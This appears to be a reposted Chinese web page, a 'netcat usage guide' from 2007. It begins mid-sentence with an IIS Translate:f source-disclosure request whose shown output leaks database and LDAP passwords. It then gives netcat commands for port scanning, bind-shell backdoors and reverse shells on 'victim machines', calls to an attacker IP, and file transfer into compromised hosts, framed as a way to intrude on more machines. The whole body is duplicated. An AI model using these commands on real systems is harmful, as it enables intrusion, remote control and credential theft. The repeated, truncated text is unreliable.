站内搜索
分类列表
本类阅读排行
本类推荐文章
广告
netcat使用指南
作者: 来源: 点击: 日期:2007-10-7 14:28:10
这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTP
GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠”\”附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符)
注意 GET global.asa 后的反斜杠以及Translate:f头信息。
GET /global.asa\ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
将以上内容保存在一个文本文件中(例如example.txt)
然后向一个有这个漏洞的服务器发送
c:\>type example.txt nc –nvv 192.168.0.80 80
(UNKNOWN)
[192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 Dec 2002 08:50:46 GMT
Content-Type:
application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
(“ConnectionText”) =
“Dsn=ph;UID=myman;Password=mygod)”
(“LDAPServer”) =
“LADP://ldap.netloafer.com:389”
(“LDAPUserID”) = “CN=Admin”
(“LDAPPwd”)
= “mygod”
………
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open
//显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip
port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe
//win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine:
//攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine:
//一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh
attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2
/*用于显示*/
victim machine:
nc attacker_ip port1 cmd.exe nc attacker_ip
port2
nc attacker_ip port1 /bin/sh nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s
对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine path\file.txt /*victim machine*/
需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port
> path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port
< path\filedest /*attacker machine*/
可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe
杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax
error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # ,
command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a #
ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自动批处理。
GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠”\”附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符)
注意 GET global.asa 后的反斜杠以及Translate:f头信息。
GET /global.asa\ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
将以上内容保存在一个文本文件中(例如example.txt)
然后向一个有这个漏洞的服务器发送
c:\>type example.txt nc –nvv 192.168.0.80 80
(UNKNOWN)
[192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 Dec 2002 08:50:46 GMT
Content-Type:
application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
(“ConnectionText”) =
“Dsn=ph;UID=myman;Password=mygod)”
(“LDAPServer”) =
“LADP://ldap.netloafer.com:389”
(“LDAPUserID”) = “CN=Admin”
(“LDAPPwd”)
= “mygod”
………
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open
//显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip
port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe
//win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine:
//攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine:
//一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh
attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2
/*用于显示*/
victim machine:
nc attacker_ip port1 cmd.exe nc attacker_ip
port2
nc attacker_ip port1 /bin/sh nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s
对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine path\file.txt /*victim machine*/
需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port
> path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port
< path\filedest /*attacker machine*/
可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe
杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax
error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # ,
command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a #
ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自动批处理。
netcat使用指南 评论
